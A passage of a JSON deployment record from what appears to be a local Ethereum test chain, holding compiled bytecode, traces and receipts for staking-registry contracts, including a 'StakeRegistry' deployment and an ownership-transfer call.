16060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220238443f68aaa842a8a83f4f495dfe8380aabe34389d5eb96ae3c1857b4d66ef664736f6c634300081b0033","nonce":14,"gas_used":1739553},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1a8b21","logs":[{"address":"0x9a676e781a523b5d0c0e43731313a708cb607508","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000800400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x295893bd9c3fe2aaca071a229013b74cbd0927da1c5718c2fd4686115f210f6b","block_number":11},{"info":{"transaction_hash":"0x0407695da91c821753dcf7e68b5284a95c603e466b110cce53db7254dd1f1278","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","contract_address":null,"traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":4364,"gas_limit":14198,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":32,"gas_used":25796},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x64c4","logs":[{"address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x0b917143d2ca92cceb02854c8c5f3dd9571a6358ba957d7ffe6688d0f8022814","block_number":29},{"info":{"transaction_hash":"0x914c677dfbce44318a8d1f66bef4630efcb602922d825efb7e5157825f9212c7","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x0e801d84fa97b50751dbf25036d067dcf18858bf","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x0e801d84fa97b50751dbf25036d067dcf18858bf","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60c06040523480156200001157600080fd5b506040516200389f3803806200389f833981016040819052620000349162000065565b6001600160a01b0391821660a05216608052620000a4565b6001600160a01b03811681146200006257600080fd5b50565b600080604083850312156200007957600080fd5b825162000086816200004c565b602084015190925062000099816200004c565b809150509250929050565b60805160a051613796620001096000396000818161037a015281816106340152818161096701528181610ccf015281816110f0015281816116d0015281816117d2015281816118eb0152611cad0152600081816105290152611e6e01526137966000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d85565b610959565b604051610217929190612e25565b6102b56102b0366004612e4a565b610c15565b6040516102179190612e76565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4a565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4a565b610cb4565b61020d670de0b6b3a764000081565b61027f610345366004612f7f565b610ccd565b61035d610358366004612d85565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc36600461303b565b611240565b604051610217919061308d565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130cb565b61152d565b60405161021791906130fe565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461314a565b6116ce565b61027f610495366004613174565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d1366004613240565b6118e9565b6102546104e436600461328d565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132c9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000000000000000000000000000000000000000000081565b610254610559366004613305565b611ac3565b61041461056c366004612e4a565b611b58565b61025461057f3660046132c9565b611c41565b61027f610592366004613347565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133a4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b491906133f5565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613412565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133a4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561348e565b905060200201602081019061084a91906134a4565b8289898481811061085d5761085d61348e565b90506020020135815481106108745761087461348e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61348e565b90506020020135815481106108f4576108f461348e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61348e565b905060200201602081019061093091906134a4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109a45760405162461bcd60e51b8152600401610611906134bf565b6000836001600160401b038111156109be576109be612eee565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612eee565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61348e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361348e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61348e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f91906133f5565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613412565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133a4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61348e565b602002602001015181548110610ea357610ea361348e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161348e565b602002602001015181548110610f1957610f1961348e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613547565b81548110610f6957610f6961348e565b9060005260206000200183878381518110610f8657610f8661348e565b602002602001015181548110610f9e57610f9e61348e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161355a565b6000828152602081208201600019908101919091550190558154829061101990600190613547565b815481106110295761102961348e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61348e565b6020026020010151815481106110725761107261348e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061355a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461112d5760405162461bcd60e51b8152600401610611906134bf565b6000805b8381101561123657600085858381811061114d5761114d61348e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612eee565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761348e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61348e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613547565b6114699190613547565b815481106114795761147961348e565b60009182526020909120015463ffffffff16116114d757600161149c8284613547565b6114a69190613547565b8585815181106114b8576114b861348e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61348e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175091906133f5565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613412565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133a4565b6117c283836123f7565b505050565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461180f5760405162461bcd60e51b8152600401610611906134bf565b60005b818110156118e357600083838381811061182e5761182e61348e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b91906133f5565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613412565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133a4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613547565b81548110611a8c57611a8c61348e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613547565b81548110611bec57611bec61348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61348e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614611cea5760405162461bcd60e51b8152600401610611906134bf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692639004134792611ea1928c9201613570565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135d1565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761348e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561348e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61348e565b6020026020010151611fae9190613661565b611fb89190613678565b611fc2908661369a565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613547565b815481106120fe576120fe61348e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613547565b815481106122b4576122b461348e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374183398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136ba565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374183398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136ba565b811015612646578482815181106125895761258961348e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861348e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61348e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661348e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61348e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261348e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61348e565b60200260200101516000015186848151811061285d5761285d61348e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613547565b81548110612a6c57612a6c61348e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613547565b925050506114ee565b80612aa1816136cd565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136e4565b600080821215612baa57612b9982613704565b612ba39084613720565b9050610cae565b612ba3828461369a565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b0380821115612d0157600080fd5b612d0d89838a01612c80565b90965094506040880135915080821115612d2657600080fd5b50612d3388828901612c80565b969995985093965092949392505050565b60008083601f840112612d5657600080fd5b5081356001600160401b03811115612d6d57600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9b57600080fd5b8435612da681612c31565b93506020850135925060408501356001600160401b03811115612dc857600080fd5b612dd487828801612d44565b95989497509550505050565b60008151808452602080850194506020840160005b83811015612e1a5781516001600160601b031687529582019590820190600101612df5565b509495945050505050565b604081526000612e386040830185612de0565b82810360208401526123ee8185612de0565b60008060408385031215612e5d57600080fd5b82359150612e6d60208401612bb4565b90509250929050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257612ecf83855163ffffffff808251168352806020830151166020840152506001600160601b0360408201511660408301525050565b9284019260609290920191600101612e92565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2657612f26612eee565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5457612f54612eee565b604052919050565b60006001600160401b03821115612f7557612f75612eee565b5060051b60200190565b60008060408385031215612f9257600080fd5b612f9b83612bb4565b91506020808401356001600160401b03811115612fb757600080fd5b8401601f81018613612fc857600080fd5b8035612fdb612fd682612f5c565b612f2c565b81815260059190911b82018301908381019088831115612ffa57600080fd5b928401925b8284101561301857833582529284019290840190612fff565b80955050505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305057600080fd5b61305984613027565b925060208401356001600160401b0381111561307457600080fd5b61308086828701612d44565b9497909650939450505050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257835163ffffffff16835292840192918401916001016130a9565b6000806000606084860312156130e057600080fd5b6130e984612bb4565b95602085013595506040909401359392505050565b815163ffffffff9081168252602080840151909116908201526040808301516001600160601b03169082015260608101610cae565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561315d57600080fd5b61316683612bb4565b9150612e6d60208401613133565b60008060006040848603121561318957600080fd5b8335925060208401356001600160401b0381111561307457600080fd5b600082601f8301126131b757600080fd5b813560206131c7612fd683612f5c565b82815260069290921b840181019181810190868411156131e657600080fd5b8286015b8481101561323557604081890312156132035760008081fd5b61320b612f04565b813561321681612c31565b8152613223828601613133565b818601528352918301916040016131ea565b509695505050505050565b6000806040838503121561325357600080fd5b61325c83612bb4565b915060208301356001600160401b0381111561327757600080fd5b613283858286016131a6565b9150509250929050565b6000806000606084860312156132a257600080fd5b6132ab84612bb4565b92506132b960208501613027565b9150604084013590509250925092565b6000806000606084860312156132de57600080fd5b833592506132ee60208501612bb4565b91506132fc60408501613027565b90509250925092565b6000806000806080858703121561331b57600080fd5b61332485612bb4565b935061333260208601613027565b93969395505050506040820135916060013590565b60008060006060848603121561335c57600080fd5b61336584612bb4565b925061337360208501613133565b915060408401356001600160401b0381111561338e57600080fd5b61339a868287016131a6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561340757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134b657600080fd5b6114ee82613133565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613531565b634e487b7160e01b600052603160045260246000fd5b60006040820160018060a01b038086168452602060406020860152828654808552606087019150876000526020600020945060005b818110156135c35785548516835260019586019592840192016135a5565b509098975050505050505050565b600060208083850312156135e457600080fd5b82516001600160401b038111156135fa57600080fd5b8301601f8101851361360b57600080fd5b8051613619612fd682612f5c565b81815260059190911b8201830190838101908783111561363857600080fd5b928401925b828410156136565783518252928401929084019061363d565b979650505050505050565b8082028115828204841417610cae57610cae613531565b60008261369557634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b0381811683821601908082111561062b5761062b613531565b80820180821115610cae57610cae613531565b6000816136dc576136dc613531565b506000190190565b818103600083128015838313168383128216171561062b5761062b613531565b6000600160ff1b820161371957613719613531565b5060000390565b6001600160601b0382811682821603908082111561062b5761062b61353156fe5374616b6552656769737472792e5f61